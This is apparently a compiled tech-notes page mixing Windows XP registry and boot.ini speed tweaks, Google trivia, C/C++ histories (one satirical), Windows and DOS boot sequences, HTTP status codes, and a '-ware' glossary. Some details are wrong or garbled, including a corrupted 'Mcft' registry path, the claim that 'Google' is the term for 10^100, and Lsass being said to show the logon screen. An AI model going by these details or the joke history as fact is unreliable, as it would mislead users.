If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dual-boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to 10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can skip this section if you do not use a dual-boot configuration.


Follow these steps:

1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini.

2. Open the file with Notepad (which is what opens it by default).

3. Change the Timeout value to 10.

4. Select File/Save and close Notepad.

Disabling the Boot Logo in WinXP

You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk.

To remove the boot logo, follow these steps:

1. Select Start/Run, type msconfig, and click OK.

2. In the System Configuration Utility, click the BOOT.INI tab.

3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.

Disabling Recent Documents History

The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down.

1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.

Is Woman = Problem

Reducing the ShutDown Wait Time

When you start to shut down Windows XP, it has to quit, or "kill," any live applications or processes that are currently running. So close all applications first. However, some applications and processes are always running in the background. You can reduce the amount of time that Windows XP waits for those applications and processes to close before Windows XP kills them.

1. Open registry editor

2. Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout\newline value and set it to 1000 as well.

3. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control. Select the WaitToKillServiceTimeout value and set it to 10000.

4. Close the Registry Editor.

Automatically Killing Tasks on Shutdown

You start to shut down the computer, you wait a few moments, and then you see a dialog box asking if you want to kill an application or service that is running. Instead of prompting you, you can make Windows XP take care of the kill task automatically. Here's how:

1. Open the Registry Editor.

2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.

3. Highlight the value AutoEndTasks and change the value to 1.

4. Close the Registry Editor.

20 interesting facts about Google

This is not a trick; but its a useful information that i founded, and like it to share with you all.

1. Google started in January, 1996 as a research project at Stanford University, by Ph.D. candidates Larry Page and Sergey Brin when they were 24 years old and 23 years old respectively.

2. The prime reason the Google home page is so bare is due to the fact that the founders didn’t know HTML and just wanted a quick interface. In fact it was noted that the submit button was a long time coming and hitting the RETURN key was the only way to burst Google into life.

3. Google is a mathematical term 1 followed by one hundred zeroes. The term was coined by Milton Sirotta, nephew of American mathematician Edward Kasne.

4. Gmail was used internally for nearly 2 ears prior to launch to the public. They discovered there was approximately 6 types of email users, and Gmail has been designed to accommodate these 6.

5. It consisted of over 450,000 servers, racked up in clusters located in data centers around the world.

6. The Google search engine receives about a billion search requests per day.

7. Google's index of web pages is the largest in the world, comprising of eight billions(2005) of web pages. Google searches this immense collection of web pages often in less than half a second.

8. Google has a tradition of creating April Fool's Day jokes - such as Google MentalPlex, which allegedly featured the use of mental power to search the web. Some thought the announcement of Gmail in 2004 around April Fool's Day was a joke.

9. Google receives daily search requests from all over the world, including Antarctica.

10. Users can restrict their searches for content in 35 non-English languages. To date, no requests have been received from beyond the earth's orbit, but Google has a Klingon interface just in case.

11. Google has a world-class staff of 9,378 full-time employees known as Googlers. The company headquarters is called the Googleplex located at Mountain View at 1600 Amphitheatre Parkway.

12. Google translates billions of HTML web pages into a display format for WAP and i-mode phones and wireless handheld devices.

13. "I feel lucky" is nearly never used. It was a comfort button which actually takes to the first web page returned by the search results.

14. Google use the unique 20%/5% rules. That is ,if at least 20% of people use a feature, then it will be included. At least 5% of people need to use a particular search preference before it will make it into the 'Advanced Preferences'.

15. Employees in Google are encouraged to use 20% of their time working on their own projects. That's why we have GMail,Google News and Orkut now.

16. Google Groups comprises more than 845 million Usenet messages, which is the world's largest collection of messages or the equivalent of more than a terabyte of human conversation.

17. The basis of Google's search technology is called PageRank™, and assigns an "importance" value to each page on the web and gives it a rank to determine how useful it is. However, that's not why it's called PageRank. It's actually named after Google co-founder Larry Page.

18. Googlers are multifaceted. One operations manager, who keeps the Google network in good health is a former neurosurgeon. One software engineer is a former rocket scientist. And the company's chef formerly prepared meals for members of The Grateful Dead and funkmeister George Clinton.

19.Google’s Orkut is very popular in Brazil and India. It was the brainchild of a Google engineer who was given free reign to run with it.

20. In a 2006 report of the world's richest people, Forbes reported that Sergey Brin was #26 with a net worth of $12.9 billion, and Larry Page was #27 with a net worth of $12.8 billion

C++ History

History of C++
During the 60s, while computers were still in an early stage of development, many new programming languages appeared. Among them, ALGOL 60, was developed as an alternative to FORTRAN but taking from it some concepts of structured programming which would later inspire most procedural languages, such as CPL and its succesors (like C++). ALGOL 68 also influenced directly in the development of data types in C. Nevertheless ALGOL was an unspecific language and its abstraction made it little practical to solve most commercial tasks.
In 1963 the CPL (Combined Programming language) appeared with the idea of being more specific for concrete programming tasks of that time than ALGOL or FORTRAN. Nevertheless this same specificity made it a big language and, therefore, difficult to learn and implement. In 1967, Martin Richards developed the BCPL (Basic Combined Programming Language), that signified a simplification of CPL but kept the most important features the language offered. Although it continued being an abstract and somewhat large language. In 1970, Ken Thompson, immersed in the development of UNIX at Bell Labs, created the B language. It was a port of BCPL for a specific machine and system (DEC PDP-7 and UNIX), and was adapted to his particular taste and necessities. The final result was an even greater simplification of CPL, although dependent on the system. It had great limitations like it did not compile to executable code but threaded-code, which generates slower code in execution, and therefore was inadequate for the development of an operating system. Reason why from 1971, Denis Ritchie, from the Bell Labs team, began the development of a B compiler which, among other things, was able to generate executable code directly. This "New B", finally called C, introduced in addition, some other new concepts to the language like data types (char). In 1973, Denis Ritchie, had developed the bases of C. The inclusion of types, its handling, as well as the improvement of arrays and pointers, along with later demonstrated capacity of portability without becoming a high-level language, contributed to the expansion of the C language. It was established with the book "The C Programming Language" by Brian Kernighan and Denis Ritchie, known as the White Book, and that served as de facto standard until the publication of formal ANSI standard (ANSI X3J11 committee) in 1989. In 1980, Bjarne Stroustrup, from Bell labs, began the development of the C++ language, that would receive formally this name at the end of 1983, when its first manual was going to be published. In October 1985, the first commercial release of the language appeared as well as the first edition of the book "The C++ Programming Language" by Bjarne Stroustrup. During the 80s the C++ language was being refined until it became a language with its own personality. All that with very few losses of compatibility with the code with C, and without resigning to its most important characteristics. In fact, the ANSI standard for the C language published in 1989 took good part of the contributions of C++ to structured programming. From 1990 on, ANSI committee X3J16 began the development of a specific standard for C++. In the period elapsed until the publication of the standard in 1998, C++ lived a great expansion in its use and today is the preferred language to develop professional applications on all platforms.

C - Lanuage

History of the C family of languages

1972 - The precursor to C, the language B, is developed at Bell Labs. The B language is fast, easy to maintain, and useful for all kinds of development from systems to applications. The entire team that designed the language is immediately fired for behavior unbefitting a telephone company employee, and the project is handed to Dennis Ritchie. He alters the language to be incomprehensible, difficult to maintain, and only useful for systems development. He also designs in a pointer system guaranteed to give every program over 500 lines a pointer into the operating system.


1982 – It is discovered that 97% of all C routine calls are subject to buffer overrun exploits. C programmers begin to realize that initializing a variable to whatever happens to be lying around in memory is not necessarily a good idea. However, since enforcing sensible variable initialization would break 97% of all C programs in existence, nothing is done about it.

1984 – The number of operating systems bad pointers can get to has been dramatically increased.

1985 – A variant of C with object oriented capabilities, called C With Classes, is ready to go commercial. However, the name C With Classes is considered too clear and easy for outsiders to understand, so the commercial version is called C++.

1986 – C becomes so popular that industry analysts recommend writing business applications in it. They argue that applications written in C will be portable to many different systems. Many of these industry analysts are suspected of being under the influence of hallucinogens.

1988 – Industry analysts finally run out of LSD. After their hallucinations fade, they notice that business apps written in C take five times longer to produce, and are still not portable. They stop recommending that business apps be written in C, except for a minority that switch to crack cocaine and start recommending business apps be written in C++ because “object orientation will result in code reuse”.

1990 – By this time, all C compilers have turned into C++ compilers. But, since most C++ programs do not use any of the object oriented features of the language, this means in practical terms that bloated code structures with pointers into the operating system are now being compiled with an object-oriented compiler.

1990 – After hiring some industry analysts that switched from crack to sniffing glue, Sun decides to create a language called Oak to program set-top television boxes. Since all their programmers have had stilted C syntax imprinted into their DNA by this time, the new language borrows heavily from C and C++ syntax. However the set-top boxes don’t have an operating system for bad pointers to get to, so pointers are eliminated from the language.

1994 – Someone at Sun finally realizes what a stupid idea it was to develop a special language just for set-top television boxes. The language is renamed Java and repositioned as an “Internet” language that is supposed to be portable to many platforms. This works well as a marketing campaign, since less than 3% of people in the industry at this time realize what the Internet is, and since hallucinating industry analysts continue to be suckers for the mythical idea of "portability to different platforms".

1995 - Sun offers free psychedelic mushrooms to industry analysts, who immediately start writing articles about how Java is the future of programming because of its portability and integration with the Internet.

Mid 1996 – 17,468,972 articles appear about how Java is the future of programming. The age of Java applets in web pages begins.

Late 1996 – Programmers trying to produce actual web pages with applets that really work commit mass suicide out of frustration and depression. Industry analysts increase their dosage of hallucinogens to compensate.

1997 – Taking the advice of hallucinating industry analysts, Corel decides to rewrite all their applications, including WordPerfect, in Java. The end result is the first known word processor that is slower to use than a typewriter. 1998 – Realizing that the applet thing is fading fast, Sun repositions Java again, this time as a server language. They steal the design of Microsoft Transaction Server and convince everyone to pretend they created the design.

1999 – Java 2 Enterprise Edition is introduced to the rave reviews of drunk and stoned industry analysts. 21,499,512 articles are written about it, but no one actually uses it because it’s immature and expensive.

2000 – J2EE finally works, sort of. Just about the time all the Java vendors are ready to start making money on it, Microsoft announces .NET, which includes almost all the features of J2EE except the outrageous cost. In fact, Microsoft decides to give .NET away free for Windows users. Scott McNealy is so outraged he files another irrational lawsuit against Microsoft. .NET includes a new C-family language, C#, pronounced “C-pound”, continuing the tradition of languages in this family having stupid names.

2001 – Microsoft’s marketing department realizes that no one in marketing has ever talked to a live Microsoft product developer. They have lunch with one and discover that the pronunciation is actually supposed to be “C sharp”.

2002 – C# is introduced as part of the release version of Microsoft .NET. C++ developers on the Microsoft platform rejoice over the concept of “managed code”, which means they finally receive the same automatic memory management features that Visual Basic has had since 1991 and Java has had since 1995.

WINDOWS XP BOOT SEQUENCE

1. POST
2. NTLDR: The MBR reads the boot sector which is the first sector of the
active partition. This sector contains the code that starts Ntldr which is the
boot strap loader for Windows XP. The first role of Ntldr is to allow full
memory addressing, start the file system, read boot.ini and put up the boot
menu. IMPORTANT: Ntldr must be located in root folder of the active
partition along with Ntdetect.com, boot.ini, bootsect.dos (for dual booting)
and Ntbootdd.sys (needed with some SCSI adapters).
3. Ntdetect: Gets information about installed hardware. Ntldr then uses the
ARC path specified in the boot.ini to find the boot partition.
4. Ntoskrnl.exe and Hal.dll.
5. Ntldr reads the registry files, selects a hardware profile, control set and
loads device drivers, in that order.
6. Ntoskrnl.exe starts Winlogon.exe which starts Lsass.exe (Local Security
Administration), this is the program that displays the Welcome screen (If
Professional Edition-the Windows Log On dialog box), and allows the user
to log on with his/her user name and password.
Click Reference 1 or Reference 2 for more information.

The Windows 2000 Boot Process

These files must be present and not corrupted on the computer, and in the folder
indicated:
NTLDR Root of the active partition
Boot.ini Root of the active partition
Bootsect.dos (only if dual booting) Root of the active partition
Ntdetect.com Root of the active partition
Ntbootdd.sys (only if booting from a
SCSI partition, and SCSI BIOS is not
present on the controller)
Root of the active partition
Ntoskrnl.exe %SystemRoot%\System32
Hal.dll %SystemRoot%\System32
SYSTEM key (part of the Registry) %SystemRoot%\System32\Config
Device drivers (varies according to
devices present) %SystemRoot%\System32\Drivers
By default, the "Root of the active partition" means C:\, and "%SystemRoot%"
means c:\winnt.
On non-Intel (RISC) based systems, NTLDR is not needed. Instead the
computer's firmware performs those functions, and is controlled by
OSLOADER.EXE. A successful boot process on an Intel-based computer
running Win2K takes the following six steps to complete:
Step 1 - POST - Power On Self Test. This is something that all computers will
perform, regardless of the Operating System that is installed on it. This step is
only mentioned because a working hardware platform is necessary for a
successful boot. During the POST, a computer will typically test its memory,
verify that it has all necessary hardware, such as a keyboard. After checking
itself, the computer will allow adapter cards (such as SCSI cards) to run their own
POSTs. After the POST, the computer will locate a boot device, and load the
MBR (Master Boot Record) into memory, which in turn locates the active partition
and loads the boot sector into memory. Up to this point, the computer's
hardware has played the active role. Without properly functioning hardware, the
operating system doesn't matter much. At this point it is good to know that
About.com also has the best site on the Internet for PC Support, complete with a
great newsletter, an interactive forum , and a chat room. Even if your computer is
booting and running fi ne right now, this site is a great resource for tips and
information your computer.
Step 2 - Choose the OS. NTLDR is the key component of this step. It will use
the files Ntdetect.com, boot.ini, and bootsect.dos (for dual-boot machines). At
the beginning of this step, the screen will display the "OS Loader V5.0" message
on the screen. When NTLDR runs, it switches the processor into 32-bit flat
memory mode (until this point the computer was running in real mode (just like
your old 8086 or 8088 CPU). It then starts the appropriate mini-file system
(e.g.:FAT, NTFS), so that it can read the files from the disk. It will then read the
Boot.ini file, and display the boot menu on the screen. If an OS other than
Windows 2000 is selected, NTLDR then loads the bootsect.dos file and passes
control to it, which then boots the other OS. If a Windows 2000 OS is selected,
then NTLDR runs Ntdetect.com to gather information about the computer's
hardware. It is also in this step when you can choose to press F8 for
troubleshooting and advanced startup options. Ntdetect detects the following
hardware components:
? Computer ID
? Bus/adapter type
? SCSI adapters
? video adapters
? keyboard
? Com ports
? Parallel ports
? Floppy disks
? Mouse/pointing devices
? Floating-point coprocessor
Once Ntdetect.com has collected the hardware information, NTLDR will load
Ntoskrnl and pass that information to it.
Step 3 - Kernel Load. This phase begins with the loading of ntoskrnlexe, along
with the file hall.dll. NTLDR will also read the SYSTEM registry key into memory,
and select the hardware configuration and control set (from the Registry) that will
be used for this boot. If you have more than one hardware profile created, you
could select it at this point in the boot sequence. NTLDR will a lso load any
device drivers that have a start value (again from the Registry) of 0x0. If you add
the switch /SOS in the boot.ini, you will be able to see the drivers listed on the
screen as they are loaded. At this point all of these files have been loaded into
memory.
Step 4 - Kernel Initialization. Once Ntoskrnl.exe is initialized, it creates the
Clone control set by copying the current control set. It will also create the
HARDWARE key in the Registry using the information gathered by earlier by
ntdetect.com. Ntoskrnl.exe will then initialize the drivers loaded earlier, and will
then scan the Registry for device drivers that have a start value of 0x1.
Step 5 - Services Load. This step begins with the starting of the Session
Manager (Smss.exe). It will run the programs listed in its BootExecute Registry
entry, as well as starting the required subsystems. The Win32 subsystem will
then start Winlogon.exe, which starts the Local Security Administration
(Lsass.exe), and the Ctrl+Alt+Delete window appears. The Service Controller
(Screg.exe) will check the Registry for services with a start value of 0x2, and will
load them. Services can be loaded simultaneously, but dependent on their
dependencies. Services with start values of 0x3 are started manually, and
services with start values of 0x4 are disabled.
Step 6 - Logon. The logon prompt will appear during the previous step, but it
begins the final step in the boot-up process. A boot is not considered successful
or completed until a user logs in. After a successful logon, the Clone control set
from Step 4 is copied to the LastKnownGood control set. This makes it available
as an advanced boot option in the later half of Step 2 for the next boot. What this
means is that if you install a bad device driver that renders your computer
unbootable, you can press F8 during Step 2, and choose to use the
LastKnownGood control set. Since this control set was created before you
installed the bad driver, your system will load without trying to start the driver,
allowing you to boot successfully.

The Windows NT 4.0 Boot Process

Files required for a successful boot:
? NTLDR - The operating system loader, which must reside in the root of the
boot drive. In a multi-boot environment, it will be used to start the other
systems initially. This file is hidden, system, and read-only.
? BOOT.INI - a text file which is used to build the OS Selection menu, and
gives the path to each OS available. This file also must be in the root of
the boot drive, and is read-only, system.
? BOOTSECT.DOS - This file contains the boot sector of the Operating
System that was on the hard drive previous to installing NT. NTLDR will
use this to boot in a multi-boot environment if an OS other than NT was
chosen from the boot menu. It too, is a hidden system file that must be in
the root of the boot drive.
? NTDETECT.COM - This program examines the hardware on the machine,
and builds a list, which it passes back to NTLDR to be used to build the
Hardware Hive of HKEY_LOCAL_MACHINE in the Registry. This file is
also a hidden, read-only system file, in the root of the boot partition.
? NTOSKERNEL.EXE - The kernel of the OS itself, which resides in the
WINNT\SYSTEM32 directory.
? NTBOOTDD.SYS - This device driver file will only be used on systems
that boot from a SCSI disk on which the SCSI adapter BIOS is disabled.
? SYSTEM - This file is located in the WINNT\ SYSTEM32\CONFIG folder,
and controls which drivers and services are loaded during the Windows
NT startup.
Next when the machine is first powered on, it will go through a series of steps
before NT actually begins booting:
? POST - Power On Self Test
? The machine locates the boot device, and loads the MBR (Master Boot
Record) into memory.
? The MBR's program will locate the active partition and load the boot sector
into memory from it.
? NTLDR will be loaded into memory and run.
This brings us to the actual NT booting process.
? NTLDR switches the processor to a 32-bit flat memory model, supporting
up to 4 GB of RAM (physically installed).
? NTLDR starts what is called a minifile system. Windows NT can read one
of three file formats: FAT, NTFS & CDFS.
? NTLDR reads the BOOT.INI file, and displays the operating system
selections in the Boot Menu.
? If Windows NT is selected, NTLDR will run NTDETECT.COM.
? If another OS is selected, NTLDR will load and run BOOTSECT.DOS, and
pass control to it, and exit. The other OS will continue as though the
machine had just booted. If BOOTSECT.DOS is missing or corrupt, it
must be replaced or reconstructed in order to boot to the other OS.
? NTDETECT.COM scans the machine's hardware (you will notice the
keyboard lights and modem lights flash at this point, as it scans the
various ports).
? NTLDR then loads NTOSKRNL.EXE and passes the hardware information
to it.
? This technically ends the "boot phase" and begins the "load phase."
LOAD PHASES
There are four more phases to go before NT is officially up and running. They
are the Kernel Load, Kernel Initialization, Services Load, and Subsystem Start
Phases.
? Kernel Load phase, the HAL (hardware abstraction layer) is loaded, which
hides the physical hardware from applications.
? System hive of the registry is loaded next, and scanned for drivers and
services that should be loaded.
? Kernel Initialization phase, the screen is blue. The drivers are initialized
and loaded, and the registry's CurrentControlSet is then saved, and the
Clone control set is created, but not saved. The registry hardware list is
then created from the information gathered earlier.
? Services Load phase, the session manager is started (SMSS.EXE), which
runs any programs listed in HKEY_
LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Session
Manager: BootExecute. After this, the session manager sets up the
pagefile(s). Next the Clone Control Set is written to the registry. The last
thing the session manager does is load the required subsystems (by
default, only Win32).
? Subsystem Start phase, WINLOGON.EXE is automatically started, which
starts the Local Security Authority (LSASS.EXE) and brings up the logon
dialog box (CTRL+ALT+DEL). The Service Controller (SCREG.EXE) is
then run, which looks through the registry for services that are set to
automatic load, and loads them.
User Logon:
Once the user logs on successfully, a boot is considered complete, and the
Clone control set is copied to the Last Known Good control set.

Windows 95/98--BOOT SEQUENCES

The Windows 95 boot sequence is as follows:
1. POST (Power-On Self Test)
2. The Plug and Play(PnP) BIOS begins by looking at the hardware devices
on the system and figuring out which ones are PnP compliant. The BIOS
first enables the devices that are not Plug and Play, and then tries to make
the PnP devices use the leftover resources.
3. The Basic Input/Output System looks for devices (Hard Drives, Floppy
Disk, CDs) containing the Operating System (OS)
4. Master Boot Record (MBR) executes the boot record on the hard drive,
which looks for the initial hidden files of Windows 95, called IO.SYS.
5. IO.SYS loads. IO.SYS looks for CONFIG.SYS file, and, if found, the
CONFIG.SYS file executes. The CONFIG.SYS file is not required for
Windows 95.
6. IO.SYS searches for MSDOS.SYS. MSDOS.SYS is a hidden file with
settings used to customize the boot process.
7. COMMAND.COM loads.
8. AUTOEXEC.BAT.
9. The heart of Windows 95 now loads, providing a desktop from which you
can execute application software.
WINDOWS 98 BOOT SEQUENCE:
Just as with Windows 95, Windows 98 goes through a boot sequence in the
order listed above.
1. BIOS runs POST
2. BIOS loads a small DOS core
3. The DOS core loads Windows 98

WHAT IS THE DOS BOOT SEQUENCE??

Short answer:
Power On Self Test (POST )which checks BIOS,CPU, RAM, Video, Keyboard,
drives, etc.
Load Operating System (OS)
? IO.SYS
? MSDOS.SYS
? CONFIG.SYS
? COMMAND.COM
? AUTOEXED.BAT
Specifics
1. BIOS locates the Master Boot Record (MBR) on the hard drive.
2. The partition table find the physical location of the logical boot drive and
turns to the boot record of that logical drive
3. The boot record (a very short program) loads two hidden files into
memory. These files are IO.SYS and MSDOS.SYS
o The IO.SYS file contains more BIOS software
o The MSDOS.SYS contains software to manage files, run
applications software and interface with hardware
4. Once these two files are loaded, the boot record program is longer needed
and turns control over to a file stored on MSDOS.SYS
5. This program looks on the hard drive for a file named CONFIG.SYS. This
is the first OS file that you, the user, can change. This file contains
commands that tell DOS how many files it can open at any one time
(FILE=) and how many file buffers (a temporary holding area for a file) to
create (BUFFERS=). It also contains the commands to load device drivers
(small programs that tell your computer how to communicate with devices
such as printers) (DRIVERS=) and other information. Several drivers can
be loaded into memory and CONFIG.SYS puts them anywhere it wants
unless the program requests a certain memory location.
6. When CONFIG.SYS is done, MSDOS looks for another file called
COMMAND.COM. This file consists of 3 parts: more code to manage
Input/Output (I/O), internal DOS commands such as COPY and DIR, and
a short program that looks for AUTOEXEC.BAT.
7. AUTOEXEC.BAT stands for "automatically executed batch" program. This
file holds a list of DOS commands that are automatically executed each
time DOS loads. Two of these commands are:
o PROMPT $P$G this instructs DOS to display the current directory
name and the current drive name as part of the prompt.
C:\Windows instead of C:>.
o PATH Tells DOS where to look for program files. Example:
C:\Windows\Driver Cache \Fonts
o AUTOEXEC.BAT also loads TSRs (terminate and stay resident
programs).
8. The boot process is completed after AUTOEXEC.BAT has finished
executing. At this point, COMMAND.COM is in charge and you have the
command Prompt (C:>).

HTTP Status Code

These are the standard status codes returned by a web server when we ask for a resource.
The first digit of the Status-Code defines the class of response. The last two digits do not have any categorization role. There are 5 values for the first digit:
• 1xx: Informational - Request received, continuing process
• 2xx: Success - The action was successfully received, understood, and accepted
• 3xx: Redirection - Further action must be taken in order to complete the request
• 4xx: Client Error - The request contains bad syntax or cannot be fulfilled
• 5xx: Server Error - The server failed to fulfill an apparently valid request
The individual values of the numeric status codes defined for HTTP/1.1, and an example set of corresponding Reason-Phrase's, are presented below. The reason phrases listed here are only recommended -- they may be replaced by local equivalents without affecting the protocol, yet phrases must contain text only, without CR and LF characters.
100 : Continue
101 : Switching Protocols
200 : OK
201 : Created
202 : Accepted
203 : Non-Authoritative Information
204 : No Content
205 : Reset Content
206 : Partial Content
300 : Multiple Choices
301 : Moved Permanently
302 : Moved Temporarily
303 : See Other
304 : Not Modified
305 : Use Proxy
307 : Temporary Redirect
400 : Bad Request
401 : Unauthorized
402 : Payment Required
403 : Forbidden
404 : Not Found
405 : Method Not Allowed
406 : Not Acceptable
407 : Proxy Authentication Required
408 : Request Time-out
409 : Conflict
410 : Gone
411 : Length Required
412 : Precondition Failed
413 : Request Entity Too Large
414 : Request-URI Too Large
415 : Unsupported Media Type
416 : Requested range not satisfiable
417 : Expectation Failed
500 : Internal Server Error
501 : Not Implemented
502 : Bad Gateway
503 : Service Unavailable
504 : Gateway Time-out
505 : HTTP Version not supported
HTTP status codes are extensible. HTTP applications are not required to understand the meaning of all registered status codes, though such understanding is obviously desirable. However, applications MUST understand the class of any status code, as indicated by the first digit, and treat any unrecognized response as being equivalent to the x00 status code of that class, with the exception that an unrecognized response MUST NOT be cached. For example, if an unrecognized status code of 431 is received by the client, it can safely assume that there was something wrong with its request and treat the response as if it had received a 400 status code. In such cases, user agents SHOULD present to the user the entity returned with the response, since that entity is likely to include human readable information which will explain the unusual status.

All the -ware:

Abandonware (also known as orphanware, or referred as retrogaming, classic games, vintage games)
Software, especially videogames, created many years ago, no more available in the stores, no longer supported or offered to the public by the original author or company, and often made for computers which aren't sold anymore as well (such as old 8bit computers or consoles). Such games are still requested by many people ("retrogamers"), mainly for historical or nostalgic reasons.
Neverthless, so called "abandonware" is still protected by copyright and it can't be spreaded, a very few coders and software houses agreed to release the rights of software they produced over ten year before, yet more often piracy is the only way to get such programs.
Adware or Bannerware
A shareware program you can use indefinitely without registering, but ad banners will be shown during its usage. An example of it is GetRight. Many Adware are also Spyware.
Annoyware *1
A type of shareware that frequently disrupts normal program operation to display requests for payment to the author in return for the ability to disable the request messages. The requests generally require user action to acknowledge the message before normal operation is resumed and are often tied to the most frequently used features of the software.
Backdoor Trojan Horse (also Wormhole, less common)
A specific kind of trojan horses, which became popular on the Internet. A malicious executable file disguised into another file is sent to the victim that will likely execute it in his system, installing a backdoor accessible by the malicious person who sent that file. The "infected" executable is nothing but a server controlled by a client application installed into the malicious person's computer, that can requests information stored into the remote computer.
The first one was "Back Orifice" created by "the Cult of the Dead Cow".
Beerware
The author expects a beer from you if you liked his software, in case you'll ever meet him. This is the original beer-ware license statement by Poul-Hanning Kamp:

* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42)
* wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. Poul-Hanning Kamp
* ----------------------------------------------------------------------------

Bloatware *1
Software that provides minimal functionality while requiring a disproportionate amount of diskspace and memory. Especially used for application and OS upgrades. This term is very common in the Windows/NT world. So is its cause.
Brochureware *1
Planned but non-existent product like vaporware, but with the added implication that marketing is actively selling and promoting it (they've printed brochures). Brochureware is often deployed as a strategic weapon; the idea is to con customers into not committing to an existing product of the competition's. It is a safe bet that when a brochureware product finally becomes real, it will be more expensive than and inferior to the alternatives that had been available for years.
MicroSoft's game console Xbox is a good example.
Cardware (also called Postcardware) *1
A kind of shareware that borders on freeware, in that the author requests only that satisfied users send a postcard of their home town or something. (This practice, silly as it might seem, serves to remind users that they are otherwise getting something for nothing, and may also be psychologically related to real estate "sales" in which $1 changes hands just to keep the transaction from being a gift).
Careware (also called Charityware or Donationware) *1
A variety of shareware for which either the author suggests that some payment be made to a nominated charity or a levy directed to charity is included on top of the distribution charge.
CDWare *2
This is software that is included on CDs that come with magazines.
Censorware
A software mechanism for sorting content into categories for the purpose of decreasing accessibility of certain types of content, often designed to work hand-in-hand with local, national or global self-labeling or 3rd-party rating schemes.
Related links: http://www.eff.org/Censorship/Censorware/ , http://censorware.net
Copyleft *1
The copyright notice ("General Public License" or GPL) carried by GNU, EMACS, and other Free Software Foundation software, granting reuse and reproduction rights to all comers. By extension, any copyright notice intended to achieve similar aims. However, the GNU Public License is also called "General Public Virus" since requires that any tools incorporating copylefted code must be source distributed on the same anti-proprietary terms as GNU software. Thus it is alleged that the copyleft infects software generated with GNU tools, which may in turn infect ogher software that reuses any of its code. The Free Software Foundation's official position as of January 1991 is that copyright law limits the scope of the GPL to "programs textually incorporating significant amounts of GNU code", and that the "infection" is not passed on to third parties unless actual GNU source is transmitted. Nevertheless, widespread suspicion that the copyleft language is "boobytrapped" has caused many developers to avoid using GNU tools and the GPL. Changes in the language of the version 2.0 GPL did not eliminate this problem.
Crippleware
See the above definition of "Crippled version".
Crudware *1
Pejorative term for the hundreds of megabytes of low-quality freeware circulated by user's groups and BBS systems in the micro-hobbyist world. "Yet another set of disk catalog utilities for MS-DOS? What crudware!"
Emailware
Similar to Cardware, but you have to send an e-mail to the author.
FRS (Free Distributable Software) or FDS (Free Distributable Sofware)
The term FRS was invented in 1995 after year of confusion about how to call software written to be passed around and shared. However, its use is not very common.
If a package of software is called "Free Distributable" then anyone is allowed to copy and spread this piece of creative work as long as he follows some rules. Most programmers want to make sure that no other persons make any profit from their work. Some want something in return for their efforts.
Firmware *1
Embedded software contained in EPROM or flash memory. It isn't quite hardware, but at least doesn't have to be loaded from a disk like regular software. Hacker usage differs from straight techspeak in that hackers don't normally apply it to stuff that you can't possibly get at, such as the program that runs a pocket calculator. Instead, it implies that the firmware could be changed, even if doing so would mean opening a box and plugging in a new chip. A computer's BIOS is the classic example, although nowadays there is firmware in disk controllers, modems, video cards and even CD-ROM drives.
Freeware
Free software, often written by enthusiasts and distributed by users' groups, or via electronic mail, local bulletin boards, Usenet, or other electronic media. At one time, "freeware" was a trademark of Andrew Fluegelman, the author of the well-known MS-DOS comm program PC-TALK III. It wasn't enforced after his mysterious disappearance and presumed death in 1984.
In the modern use of this term, you are allowed to use this software free (without giving anything to the author), but still the author keeps the copyright (so it's different from Public Domain Software), that means you are not allowed to change the program in any way, especially remove the authors' name or the copyright note.
Fritterware *1
An excess of capability that serves no productive end. The canonical example is font-diddling software on the Mac (or animated menus on Windows); the term describes anything that eats huge amounts of time for quite marginal gains in function but seduces people into using it anyway.
Giftware
You have to make a gift to the author. Such gift can be untold (and in this case could be anything) or specified in the user's licence or elsewhere.
Guiltware *1
A piece of freeware decorated with a message telling one how long and hard the author worked on it and intimating that one is a no-good freeloader if one does not immediately send the poor suffering martyr gobs of money.
Hardware
The physical part of a computer. Everything you can "touch", such as keyboard, modem, monitor, and so on...
Liveware (also called meatware) *1
[Cambridge] Vermin. "Waiter, there's some liveware in my salad..."
Logic Bomb *1
Code surreptitiously inserted into an application or OS that causes it to perform some destructive or security-compromising activity whenever specified conditions are met.
Mailware
Could be Emailware if you have to send an e-mail to the author, or Cardware, if you have to send him a snail mail postcard or letter.
Mockingbird *1
Software that intercepts communications (especially login transactions) between users and hosts and provides system-like responses to the users while saving their responses (especially account IDs and passwords).
Nagware *1
The variety of shareware that displays a large screen at the beginning or end reminding you to register, typically requiring some sort of keystroke to continue so that you can't use the software in batch mode. If such reminders keep appearing also during normal program operation, then it's called Annoyware.
Open Source
The author besides of the compiled binary executable files also releases the source code of his software, allowing the user to study it, and to modify or update it (restrictions may apply).
This term was invented in March 1998 following the Mozilla (Netscape) release to describe software distributed in source guaranteeing anybody rights to freely use, modify, and redistribute, the code.
Payware
Commercial software, sold in shops.
Phage *1
A program that modifies other programs or databases in unauthorized ways, especially one that propagates a virus or Trojan horse. The analogy, of course, is with phage viruses in biology.
Pricelessware
